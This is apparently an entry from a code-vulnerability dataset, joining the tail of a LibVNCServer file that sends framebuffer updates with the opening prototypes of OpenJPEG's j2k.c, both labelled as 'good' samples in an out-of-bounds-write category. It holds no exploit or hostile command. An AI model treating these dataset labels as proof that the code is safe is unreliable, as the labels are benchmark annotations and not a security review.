if (!rfbSendCursorShape(cl)) goto updateFailed; } if (sendCursorPos) { cl->cursorWasMoved = FALSE; if (!rfbSendCursorPos(cl)) goto updateFailed; } if (sendKeyboardLedState) { if (!rfbSendKeyboardLedState(cl)) goto updateFailed; } if (sendSupportedMessages) { if (!rfbSendSupportedMessages(cl)) goto updateFailed; } if (sendSupportedEncodings) { if (!rfbSendSupportedEncodings(cl)) goto updateFailed; } if (sendServerIdentity) { if (!rfbSendServerIdentity(cl)) goto updateFailed; } if (!sraRgnEmpty(updateCopyRegion)) { if (!rfbSendCopyRegion(cl,updateCopyRegion,dx,dy)) goto updateFailed; } for(i = sraRgnGetIterator(updateRegion); sraRgnIteratorNext(i,&rect);){ int x = rect.x1; int y = rect.y1; int w = rect.x2 - x; int h = rect.y2 - y; /* We need to count the number of rects in the scaled screen */ if (cl->screen!=cl->scaledScreen) rfbScaledCorrection(cl->screen, cl->scaledScreen, &x, &y, &w, &h, "rfbSendFramebufferUpdate"); switch (cl->preferredEncoding) { case -1: case rfbEncodingRaw: if (!rfbSendRectEncodingRaw(cl, x, y, w, h)) goto updateFailed; break; case rfbEncodingRRE: if (!rfbSendRectEncodingRRE(cl, x, y, w, h)) goto updateFailed; break; case rfbEncodingCoRRE: if (!rfbSendRectEncodingCoRRE(cl, x, y, w, h)) goto updateFailed; break; case rfbEncodingHextile: if (!rfbSendRectEncodingHextile(cl, x, y, w, h)) goto updateFailed; break; case rfbEncodingUltra: if (!rfbSendRectEncodingUltra(cl, x, y, w, h)) goto updateFailed; break; #ifdef LIBVNCSERVER_HAVE_LIBZ case rfbEncodingZlib: if (!rfbSendRectEncodingZlib(cl, x, y, w, h)) goto updateFailed; break; case rfbEncodingZRLE: case rfbEncodingZYWRLE: if (!rfbSendRectEncodingZRLE(cl, x, y, w, h)) goto updateFailed; break; #endif #if defined(LIBVNCSERVER_HAVE_LIBJPEG) && (defined(LIBVNCSERVER_HAVE_LIBZ) || defined(LIBVNCSERVER_HAVE_LIBPNG)) case rfbEncodingTight: if (!rfbSendRectEncodingTight(cl, x, y, w, h)) goto updateFailed; break; #ifdef LIBVNCSERVER_HAVE_LIBPNG case rfbEncodingTightPng: if (!rfbSendRectEncodingTightPng(cl, x, y, w, h)) goto updateFailed; break; #endif #endif } } if (i) { sraRgnReleaseIterator(i); i = NULL; } if ( nUpdateRegionRects == 0xFFFF && !rfbSendLastRectMarker(cl) ) goto updateFailed; if (!rfbSendUpdateBuf(cl)) { updateFailed: result = FALSE; } if (!cl->enableCursorShapeUpdates) { rfbHideCursor(cl); } if(i) sraRgnReleaseIterator(i); sraRgnDestroy(updateRegion); sraRgnDestroy(updateCopyRegion); if(cl->screen->displayFinishedHook) cl->screen->displayFinishedHook(cl, result); return result; } /* * Send the copy region as a string of CopyRect encoded rectangles. * The only slightly tricky thing is that we should send the messages in * the correct order so that an earlier CopyRect will not corrupt the source * of a later one. */ rfbBool rfbSendCopyRegion(rfbClientPtr cl, sraRegionPtr reg, int dx, int dy) { int x, y, w, h; rfbFramebufferUpdateRectHeader rect; rfbCopyRect cr; sraRectangleIterator* i; sraRect rect1; /* printf("copyrect: "); sraRgnPrint(reg); putchar('\n');fflush(stdout); */ i = sraRgnGetReverseIterator(reg,dx>0,dy>0); /* correct for the scale of the screen */ dx = ScaleX(cl->screen, cl->scaledScreen, dx); dy = ScaleX(cl->screen, cl->scaledScreen, dy); while(sraRgnIteratorNext(i,&rect1)) { x = rect1.x1; y = rect1.y1; w = rect1.x2 - x; h = rect1.y2 - y; /* correct for scaling (if necessary) */ rfbScaledCorrection(cl->screen, cl->scaledScreen, &x, &y, &w, &h, "copyrect"); rect.r.x = Swap16IfLE(x); rect.r.y = Swap16IfLE(y); rect.r.w = Swap16IfLE(w); rect.r.h = Swap16IfLE(h); rect.encoding = Swap32IfLE(rfbEncodingCopyRect); memcpy(&cl->updateBuf[cl->ublen], (char *)&rect, sz_rfbFramebufferUpdateRectHeader); cl->ublen += sz_rfbFramebufferUpdateRectHeader; cr.srcX = Swap16IfLE(x - dx); cr.srcY = Swap16IfLE(y - dy); memcpy(&cl->updateBuf[cl->ublen], (char *)&cr, sz_rfbCopyRect); cl->ublen += sz_rfbCopyRect; rfbStatRecordEncodingSent(cl, rfbEncodingCopyRect, sz_rfbFramebufferUpdateRectHeader + sz_rfbCopyRect, w * h * (cl->scaledScreen->bitsPerPixel / 8)); } sraRgnReleaseIterator(i); return TRUE; } /* * Send a given rectangle in raw encoding (rfbEncodingRaw). */ rfbBool rfbSendRectEncodingRaw(rfbClientPtr cl, int x, int y, int w, int h) { rfbFramebufferUpdateRectHeader rect; int nlines; int bytesPerLine = w * (cl->format.bitsPerPixel / 8); char *fbptr = (cl->scaledScreen->frameBuffer + (cl->scaledScreen->paddedWidthInBytes * y) + (x * (cl->scaledScreen->bitsPerPixel / 8))); /* Flush the buffer to guarantee correct alignment for translateFn(). */ if (cl->ublen > 0) { if (!rfbSendUpdateBuf(cl)) return FALSE; } rect.r.x = Swap16IfLE(x); rect.r.y = Swap16IfLE(y); rect.r.w = Swap16IfLE(w); rect.r.h = Swap16IfLE(h); rect.encoding = Swap32IfLE(rfbEncodingRaw); memcpy(&cl->updateBuf[cl->ublen], (char *)&rect,sz_rfbFramebufferUpdateRectHeader); cl->ublen += sz_rfbFramebufferUpdateRectHeader; rfbStatRecordEncodingSent(cl, rfbEncodingRaw, sz_rfbFramebufferUpdateRectHeader + bytesPerLine * h, sz_rfbFramebufferUpdateRectHeader + bytesPerLine * h); nlines = (UPDATE_BUF_SIZE - cl->ublen) / bytesPerLine; while (TRUE) { if (nlines > h) nlines = h; (*cl->translateFn)(cl->translateLookupTable, &(cl->screen->serverFormat), &cl->format, fbptr, &cl->updateBuf[cl->ublen], cl->scaledScreen->paddedWidthInBytes, w, nlines); cl->ublen += nlines * bytesPerLine; h -= nlines; if (h == 0) /* rect fitted in buffer, do next one */ return TRUE; /* buffer full - flush partial rect and do another nlines */ if (!rfbSendUpdateBuf(cl)) return FALSE; fbptr += (cl->scaledScreen->paddedWidthInBytes * nlines); nlines = (UPDATE_BUF_SIZE - cl->ublen) / bytesPerLine; if (nlines == 0) { rfbErr("rfbSendRectEncodingRaw: send buffer too small for %d " "bytes per line\n", bytesPerLine); rfbCloseClient(cl); return FALSE; } } } /* * Send an empty rectangle with encoding field set to value of * rfbEncodingLastRect to notify client that this is the last * rectangle in framebuffer update ("LastRect" extension of RFB * protocol). */ rfbBool rfbSendLastRectMarker(rfbClientPtr cl) { rfbFramebufferUpdateRectHeader rect; if (cl->ublen + sz_rfbFramebufferUpdateRectHeader > UPDATE_BUF_SIZE) { if (!rfbSendUpdateBuf(cl)) return FALSE; } rect.encoding = Swap32IfLE(rfbEncodingLastRect); rect.r.x = 0; rect.r.y = 0; rect.r.w = 0; rect.r.h = 0; memcpy(&cl->updateBuf[cl->ublen], (char *)&rect,sz_rfbFramebufferUpdateRectHeader); cl->ublen += sz_rfbFramebufferUpdateRectHeader; rfbStatRecordEncodingSent(cl, rfbEncodingLastRect, sz_rfbFramebufferUpdateRectHeader, sz_rfbFramebufferUpdateRectHeader); return TRUE; } /* * Send NewFBSize pseudo-rectangle. This tells the client to change * its framebuffer size. */ rfbBool rfbSendNewFBSize(rfbClientPtr cl, int w, int h) { rfbFramebufferUpdateRectHeader rect; if (cl->ublen + sz_rfbFramebufferUpdateRectHeader > UPDATE_BUF_SIZE) { if (!rfbSendUpdateBuf(cl)) return FALSE; } if (cl->PalmVNC==TRUE) rfbLog("Sending rfbEncodingNewFBSize in response to a PalmVNC style framebuffer resize (%dx%d)\n", w, h); else rfbLog("Sending rfbEncodingNewFBSize for resize to (%dx%d)\n", w, h); rect.encoding = Swap32IfLE(rfbEncodingNewFBSize); rect.r.x = 0; rect.r.y = 0; rect.r.w = Swap16IfLE(w); rect.r.h = Swap16IfLE(h); memcpy(&cl->updateBuf[cl->ublen], (char *)&rect, sz_rfbFramebufferUpdateRectHeader); cl->ublen += sz_rfbFramebufferUpdateRectHeader; rfbStatRecordEncodingSent(cl, rfbEncodingNewFBSize, sz_rfbFramebufferUpdateRectHeader, sz_rfbFramebufferUpdateRectHeader); return TRUE; } /* * Send the contents of cl->updateBuf. Returns 1 if successful, -1 if * not (errno should be set). */ rfbBool rfbSendUpdateBuf(rfbClientPtr cl) { if(cl->sock<0) return FALSE; if (rfbWriteExact(cl, cl->updateBuf, cl->ublen) < 0) { rfbLogPerror("rfbSendUpdateBuf: write"); rfbCloseClient(cl); return FALSE; } cl->ublen = 0; return TRUE; } /* * rfbSendSetColourMapEntries sends a SetColourMapEntries message to the * client, using values from the currently installed colormap. */ rfbBool rfbSendSetColourMapEntries(rfbClientPtr cl, int firstColour, int nColours) { char buf[sz_rfbSetColourMapEntriesMsg + 256 * 3 * 2]; char *wbuf = buf; rfbSetColourMapEntriesMsg *scme; uint16_t *rgb; rfbColourMap* cm = &cl->screen->colourMap; int i, len; if (nColours > 256) { /* some rare hardware has, e.g., 4096 colors cells: PseudoColor:12 */ wbuf = (char *) malloc(sz_rfbSetColourMapEntriesMsg + nColours * 3 * 2); } scme = (rfbSetColourMapEntriesMsg *)wbuf; rgb = (uint16_t *)(&wbuf[sz_rfbSetColourMapEntriesMsg]); scme->type = rfbSetColourMapEntries; scme->firstColour = Swap16IfLE(firstColour); scme->nColours = Swap16IfLE(nColours); len = sz_rfbSetColourMapEntriesMsg; for (i = 0; i < nColours; i++) { if(i<(int)cm->count) { if(cm->is16) { rgb[i*3] = Swap16IfLE(cm->data.shorts[i*3]); rgb[i*3+1] = Swap16IfLE(cm->data.shorts[i*3+1]); rgb[i*3+2] = Swap16IfLE(cm->data.shorts[i*3+2]); } else { rgb[i*3] = Swap16IfLE((unsigned short)cm->data.bytes[i*3]); rgb[i*3+1] = Swap16IfLE((unsigned short)cm->data.bytes[i*3+1]); rgb[i*3+2] = Swap16IfLE((unsigned short)cm->data.bytes[i*3+2]); } } } len += nColours * 3 * 2; LOCK(cl->sendMutex); if (rfbWriteExact(cl, wbuf, len) < 0) { rfbLogPerror("rfbSendSetColourMapEntries: write"); rfbCloseClient(cl); if (wbuf != buf) free(wbuf); UNLOCK(cl->sendMutex); return FALSE; } UNLOCK(cl->sendMutex); rfbStatRecordMessageSent(cl, rfbSetColourMapEntries, len, len); if (wbuf != buf) free(wbuf); return TRUE; } /* * rfbSendBell sends a Bell message to all the clients. */ void rfbSendBell(rfbScreenInfoPtr rfbScreen) { rfbClientIteratorPtr i; rfbClientPtr cl; rfbBellMsg b; i = rfbGetClientIterator(rfbScreen); while((cl=rfbClientIteratorNext(i))) { b.type = rfbBell; LOCK(cl->sendMutex); if (rfbWriteExact(cl, (char *)&b, sz_rfbBellMsg) < 0) { rfbLogPerror("rfbSendBell: write"); rfbCloseClient(cl); } UNLOCK(cl->sendMutex); } rfbStatRecordMessageSent(cl, rfbBell, sz_rfbBellMsg, sz_rfbBellMsg); rfbReleaseClientIterator(i); } /* * rfbSendServerCutText sends a ServerCutText message to all the clients. */ void rfbSendServerCutText(rfbScreenInfoPtr rfbScreen,char *str, int len) { rfbClientPtr cl; rfbServerCutTextMsg sct; rfbClientIteratorPtr iterator; iterator = rfbGetClientIterator(rfbScreen); while ((cl = rfbClientIteratorNext(iterator)) != NULL) { sct.type = rfbServerCutText; sct.length = Swap32IfLE(len); LOCK(cl->sendMutex); if (rfbWriteExact(cl, (char *)&sct, sz_rfbServerCutTextMsg) < 0) { rfbLogPerror("rfbSendServerCutText: write"); rfbCloseClient(cl); UNLOCK(cl->sendMutex); continue; } if (rfbWriteExact(cl, str, len) < 0) { rfbLogPerror("rfbSendServerCutText: write"); rfbCloseClient(cl); } UNLOCK(cl->sendMutex); rfbStatRecordMessageSent(cl, rfbServerCutText, sz_rfbServerCutTextMsg+len, sz_rfbServerCutTextMsg+len); } rfbReleaseClientIterator(iterator); } /***************************************************************************** * * UDP can be used for keyboard and pointer events when the underlying * network is highly reliable. This is really here to support ORL's * videotile, whose TCP implementation doesn't like sending lots of small * packets (such as 100s of pen readings per second!). */ static unsigned char ptrAcceleration = 50; void rfbNewUDPConnection(rfbScreenInfoPtr rfbScreen, int sock) { if (write(sock, (char*) &ptrAcceleration, 1) < 0) { rfbLogPerror("rfbNewUDPConnection: write"); } } /* * Because UDP is a message based service, we can't read the first byte and * then the rest of the packet separately like we do with TCP. We will always * get a whole packet delivered in one go, so we ask read() for the maximum * number of bytes we can possibly get. */ void rfbProcessUDPInput(rfbScreenInfoPtr rfbScreen) { int n; rfbClientPtr cl=rfbScreen->udpClient; rfbClientToServerMsg msg; if((!cl) || cl->onHold) return; if ((n = read(rfbScreen->udpSock, (char *)&msg, sizeof(msg))) <= 0) { if (n < 0) { rfbLogPerror("rfbProcessUDPInput: read"); } rfbDisconnectUDPSock(rfbScreen); return; } switch (msg.type) { case rfbKeyEvent: if (n != sz_rfbKeyEventMsg) { rfbErr("rfbProcessUDPInput: key event incorrect length\n"); rfbDisconnectUDPSock(rfbScreen); return; } cl->screen->kbdAddEvent(msg.ke.down, (rfbKeySym)Swap32IfLE(msg.ke.key), cl); break; case rfbPointerEvent: if (n != sz_rfbPointerEventMsg) { rfbErr("rfbProcessUDPInput: ptr event incorrect length\n"); rfbDisconnectUDPSock(rfbScreen); return; } cl->screen->ptrAddEvent(msg.pe.buttonMask, Swap16IfLE(msg.pe.x), Swap16IfLE(msg.pe.y), cl); break; default: rfbErr("rfbProcessUDPInput: unknown message type %d\n", msg.type); rfbDisconnectUDPSock(rfbScreen); } }
./CrossVul/dataset_final_sorted/CWE-787/c/good_523_0
crossvul-cpp_data_good_2776_0
/* * The copyright in this software is being made available under the 2-clauses * BSD License, included below. This software may be subject to other third * party and contributor rights, including patent rights, and no such rights * are granted under this license. * * Copyright (c) 2002-2014, Universite catholique de Louvain (UCL), Belgium * Copyright (c) 2002-2014, Professor Benoit Macq * Copyright (c) 2001-2003, David Janssens * Copyright (c) 2002-2003, Yannick Verschueren * Copyright (c) 2003-2007, Francois-Olivier Devaux * Copyright (c) 2003-2014, Antonin Descampe * Copyright (c) 2005, Herve Drolon, FreeImage Team * Copyright (c) 2008, Jerome Fimes, Communications & Systemes <jerome.fimes@c-s.fr> * Copyright (c) 2006-2007, Parvatha Elangovan * Copyright (c) 2010-2011, Kaori Hagihara * Copyright (c) 2011-2012, Centre National d'Etudes Spatiales (CNES), France * Copyright (c) 2012, CS Systemes d'Information, France * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS `AS IS' * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ #include "opj_includes.h" /** @defgroup J2K J2K - JPEG-2000 codestream reader/writer */ /*@{*/ /** @name Local static functions */ /*@{*/ #define OPJ_UNUSED(x) (void)x /** * Sets up the procedures to do on reading header. Developpers wanting to extend the library can add their own reading procedures. */ static OPJ_BOOL opj_j2k_setup_header_reading(opj_j2k_t *p_j2k, opj_event_mgr_t * p_manager); /** * The read header procedure. */ static OPJ_BOOL opj_j2k_read_header_procedure(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * The default encoding validation procedure without any extension. * * @param p_j2k the jpeg2000 codec to validate. * @param p_stream the input stream to validate. * @param p_manager the user event manager. * * @return true if the parameters are correct. */ static OPJ_BOOL opj_j2k_encoding_validation(opj_j2k_t * p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * The default decoding validation procedure without any extension. * * @param p_j2k the jpeg2000 codec to validate. * @param p_stream the input stream to validate. * @param p_manager the user event manager. * * @return true if the parameters are correct. */ static OPJ_BOOL opj_j2k_decoding_validation(opj_j2k_t * p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Sets up the validation ,i.e. adds the procedures to lauch to make sure the codec parameters * are valid. Developpers wanting to extend the library can add their own validation procedures. */ static OPJ_BOOL opj_j2k_setup_encoding_validation(opj_j2k_t *p_j2k, opj_event_mgr_t * p_manager); /** * Sets up the validation ,i.e. adds the procedures to lauch to make sure the codec parameters * are valid. Developpers wanting to extend the library can add their own validation procedures. */ static OPJ_BOOL opj_j2k_setup_decoding_validation(opj_j2k_t *p_j2k, opj_event_mgr_t * p_manager); /** * Sets up the validation ,i.e. adds the procedures to lauch to make sure the codec parameters * are valid. Developpers wanting to extend the library can add their own validation procedures. */ static OPJ_BOOL opj_j2k_setup_end_compress(opj_j2k_t *p_j2k, opj_event_mgr_t * p_manager); /** * The mct encoding validation procedure. * * @param p_j2k the jpeg2000 codec to validate. * @param p_stream the input stream to validate. * @param p_manager the user event manager. * * @return true if the parameters are correct. */ static OPJ_BOOL opj_j2k_mct_validation(opj_j2k_t * p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Builds the tcd decoder to use to decode tile. */ static OPJ_BOOL opj_j2k_build_decoder(opj_j2k_t * p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Builds the tcd encoder to use to encode tile. */ static OPJ_BOOL opj_j2k_build_encoder(opj_j2k_t * p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Creates a tile-coder decoder. * * @param p_stream the stream to write data to. * @param p_j2k J2K codec. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_create_tcd(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Excutes the given procedures on the given codec. * * @param p_procedure_list the list of procedures to execute * @param p_j2k the jpeg2000 codec to execute the procedures on. * @param p_stream the stream to execute the procedures on. * @param p_manager the user manager. * * @return true if all the procedures were successfully executed. */ static OPJ_BOOL opj_j2k_exec(opj_j2k_t * p_j2k, opj_procedure_list_t * p_procedure_list, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Updates the rates of the tcp. * * @param p_stream the stream to write data to. * @param p_j2k J2K codec. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_update_rates(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Copies the decoding tile parameters onto all the tile parameters. * Creates also the tile decoder. */ static OPJ_BOOL opj_j2k_copy_default_tcp_and_create_tcd(opj_j2k_t * p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Destroys the memory associated with the decoding of headers. */ static OPJ_BOOL opj_j2k_destroy_header_memory(opj_j2k_t * p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Reads the lookup table containing all the marker, status and action, and returns the handler associated * with the marker value. * @param p_id Marker value to look up * * @return the handler associated with the id. */ static const struct opj_dec_memory_marker_handler * opj_j2k_get_marker_handler( OPJ_UINT32 p_id); /** * Destroys a tile coding parameter structure. * * @param p_tcp the tile coding parameter to destroy. */ static void opj_j2k_tcp_destroy(opj_tcp_t *p_tcp); /** * Destroys the data inside a tile coding parameter structure. * * @param p_tcp the tile coding parameter which contain data to destroy. */ static void opj_j2k_tcp_data_destroy(opj_tcp_t *p_tcp); /** * Destroys a coding parameter structure. * * @param p_cp the coding parameter to destroy. */ static void opj_j2k_cp_destroy(opj_cp_t *p_cp); /** * Compare 2 a SPCod/ SPCoc elements, i.e. the coding style of a given component of a tile. * * @param p_j2k J2K codec. * @param p_tile_no Tile number * @param p_first_comp_no The 1st component number to compare. * @param p_second_comp_no The 1st component number to compare. * * @return OPJ_TRUE if SPCdod are equals. */ static OPJ_BOOL opj_j2k_compare_SPCod_SPCoc(opj_j2k_t *p_j2k, OPJ_UINT32 p_tile_no, OPJ_UINT32 p_first_comp_no, OPJ_UINT32 p_second_comp_no); /** * Writes a SPCod or SPCoc element, i.e. the coding style of a given component of a tile. * * @param p_j2k J2K codec. * @param p_tile_no FIXME DOC * @param p_comp_no the component number to output. * @param p_data FIXME DOC * @param p_header_size FIXME DOC * @param p_manager the user event manager. * * @return FIXME DOC */ static OPJ_BOOL opj_j2k_write_SPCod_SPCoc(opj_j2k_t *p_j2k, OPJ_UINT32 p_tile_no, OPJ_UINT32 p_comp_no, OPJ_BYTE * p_data, OPJ_UINT32 * p_header_size, opj_event_mgr_t * p_manager); /** * Gets the size taken by writing a SPCod or SPCoc for the given tile and component. * * @param p_j2k the J2K codec. * @param p_tile_no the tile index. * @param p_comp_no the component being outputted. * * @return the number of bytes taken by the SPCod element. */ static OPJ_UINT32 opj_j2k_get_SPCod_SPCoc_size(opj_j2k_t *p_j2k, OPJ_UINT32 p_tile_no, OPJ_UINT32 p_comp_no); /** * Reads a SPCod or SPCoc element, i.e. the coding style of a given component of a tile. * @param p_j2k the jpeg2000 codec. * @param compno FIXME DOC * @param p_header_data the data contained in the COM box. * @param p_header_size the size of the data contained in the COM marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_SPCod_SPCoc(opj_j2k_t *p_j2k, OPJ_UINT32 compno, OPJ_BYTE * p_header_data, OPJ_UINT32 * p_header_size, opj_event_mgr_t * p_manager); /** * Gets the size taken by writing SQcd or SQcc element, i.e. the quantization values of a band in the QCD or QCC. * * @param p_tile_no the tile index. * @param p_comp_no the component being outputted. * @param p_j2k the J2K codec. * * @return the number of bytes taken by the SPCod element. */ static OPJ_UINT32 opj_j2k_get_SQcd_SQcc_size(opj_j2k_t *p_j2k, OPJ_UINT32 p_tile_no, OPJ_UINT32 p_comp_no); /** * Compares 2 SQcd or SQcc element, i.e. the quantization values of a band in the QCD or QCC. * * @param p_j2k J2K codec. * @param p_tile_no the tile to output. * @param p_first_comp_no the first component number to compare. * @param p_second_comp_no the second component number to compare. * * @return OPJ_TRUE if equals. */ static OPJ_BOOL opj_j2k_compare_SQcd_SQcc(opj_j2k_t *p_j2k, OPJ_UINT32 p_tile_no, OPJ_UINT32 p_first_comp_no, OPJ_UINT32 p_second_comp_no); /** * Writes a SQcd or SQcc element, i.e. the quantization values of a band in the QCD or QCC. * * @param p_tile_no the tile to output. * @param p_comp_no the component number to output. * @param p_data the data buffer. * @param p_header_size pointer to the size of the data buffer, it is changed by the function. * @param p_j2k J2K codec. * @param p_manager the user event manager. * */ static OPJ_BOOL opj_j2k_write_SQcd_SQcc(opj_j2k_t *p_j2k, OPJ_UINT32 p_tile_no, OPJ_UINT32 p_comp_no, OPJ_BYTE * p_data, OPJ_UINT32 * p_header_size, opj_event_mgr_t * p_manager); /** * Updates the Tile Length Marker. */ static void opj_j2k_update_tlm(opj_j2k_t * p_j2k, OPJ_UINT32 p_tile_part_size); /** * Reads a SQcd or SQcc element, i.e. the quantization values of a band in the QCD or QCC. * * @param p_j2k J2K codec. * @param compno the component number to output. * @param p_header_data the data buffer. * @param p_header_size pointer to the size of the data buffer, it is changed by the function. * @param p_manager the user event manager. * */ static OPJ_BOOL opj_j2k_read_SQcd_SQcc(opj_j2k_t *p_j2k, OPJ_UINT32 compno, OPJ_BYTE * p_header_data, OPJ_UINT32 * p_header_size, opj_event_mgr_t * p_manager); /** * Copies the tile component parameters of all the component from the first tile component. * * @param p_j2k the J2k codec. */ static void opj_j2k_copy_tile_component_parameters(opj_j2k_t *p_j2k); /** * Copies the tile quantization parameters of all the component from the first tile component. * * @param p_j2k the J2k codec. */ static void opj_j2k_copy_tile_quantization_parameters(opj_j2k_t *p_j2k); /** * Reads the tiles. */ static OPJ_BOOL opj_j2k_decode_tiles(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); static OPJ_BOOL opj_j2k_pre_write_tile(opj_j2k_t * p_j2k, OPJ_UINT32 p_tile_index, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); static OPJ_BOOL opj_j2k_update_image_data(opj_tcd_t * p_tcd, OPJ_BYTE * p_data, opj_image_t* p_output_image); static void opj_get_tile_dimensions(opj_image_t * l_image, opj_tcd_tilecomp_t * l_tilec, opj_image_comp_t * l_img_comp, OPJ_UINT32* l_size_comp, OPJ_UINT32* l_width, OPJ_UINT32* l_height, OPJ_UINT32* l_offset_x, OPJ_UINT32* l_offset_y, OPJ_UINT32* l_image_width, OPJ_UINT32* l_stride, OPJ_UINT32* l_tile_offset); static void opj_j2k_get_tile_data(opj_tcd_t * p_tcd, OPJ_BYTE * p_data); static OPJ_BOOL opj_j2k_post_write_tile(opj_j2k_t * p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Sets up the procedures to do on writing header. * Developers wanting to extend the library can add their own writing procedures. */ static OPJ_BOOL opj_j2k_setup_header_writing(opj_j2k_t *p_j2k, opj_event_mgr_t * p_manager); static OPJ_BOOL opj_j2k_write_first_tile_part(opj_j2k_t *p_j2k, OPJ_BYTE * p_data, OPJ_UINT32 * p_data_written, OPJ_UINT32 p_total_data_size, opj_stream_private_t *p_stream, struct opj_event_mgr * p_manager); static OPJ_BOOL opj_j2k_write_all_tile_parts(opj_j2k_t *p_j2k, OPJ_BYTE * p_data, OPJ_UINT32 * p_data_written, OPJ_UINT32 p_total_data_size, opj_stream_private_t *p_stream, struct opj_event_mgr * p_manager); /** * Gets the offset of the header. * * @param p_stream the stream to write data to. * @param p_j2k J2K codec. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_get_end_header(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); static OPJ_BOOL opj_j2k_allocate_tile_element_cstr_index(opj_j2k_t *p_j2k); /* * ----------------------------------------------------------------------- * ----------------------------------------------------------------------- * ----------------------------------------------------------------------- */ /** * Writes the SOC marker (Start Of Codestream) * * @param p_stream the stream to write data to. * @param p_j2k J2K codec. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_write_soc(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Reads a SOC marker (Start of Codestream) * @param p_j2k the jpeg2000 file codec. * @param p_stream XXX needs data * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_soc(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Writes the SIZ marker (image and tile size) * * @param p_j2k J2K codec. * @param p_stream the stream to write data to. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_write_siz(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Reads a SIZ marker (image and tile size) * @param p_j2k the jpeg2000 file codec. * @param p_header_data the data contained in the SIZ box. * @param p_header_size the size of the data contained in the SIZ marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_siz(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager); /** * Writes the COM marker (comment) * * @param p_stream the stream to write data to. * @param p_j2k J2K codec. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_write_com(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Reads a COM marker (comments) * @param p_j2k the jpeg2000 file codec. * @param p_header_data the data contained in the COM box. * @param p_header_size the size of the data contained in the COM marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_com(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager); /** * Writes the COD marker (Coding style default) * * @param p_stream the stream to write data to. * @param p_j2k J2K codec. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_write_cod(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Reads a COD marker (Coding Styke defaults) * @param p_header_data the data contained in the COD box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the COD marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_cod(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager); /** * Compares 2 COC markers (Coding style component) * * @param p_j2k J2K codec. * @param p_first_comp_no the index of the first component to compare. * @param p_second_comp_no the index of the second component to compare. * * @return OPJ_TRUE if equals */ static OPJ_BOOL opj_j2k_compare_coc(opj_j2k_t *p_j2k, OPJ_UINT32 p_first_comp_no, OPJ_UINT32 p_second_comp_no); /** * Writes the COC marker (Coding style component) * * @param p_j2k J2K codec. * @param p_comp_no the index of the component to output. * @param p_stream the stream to write data to. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_write_coc(opj_j2k_t *p_j2k, OPJ_UINT32 p_comp_no, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Writes the COC marker (Coding style component) * * @param p_j2k J2K codec. * @param 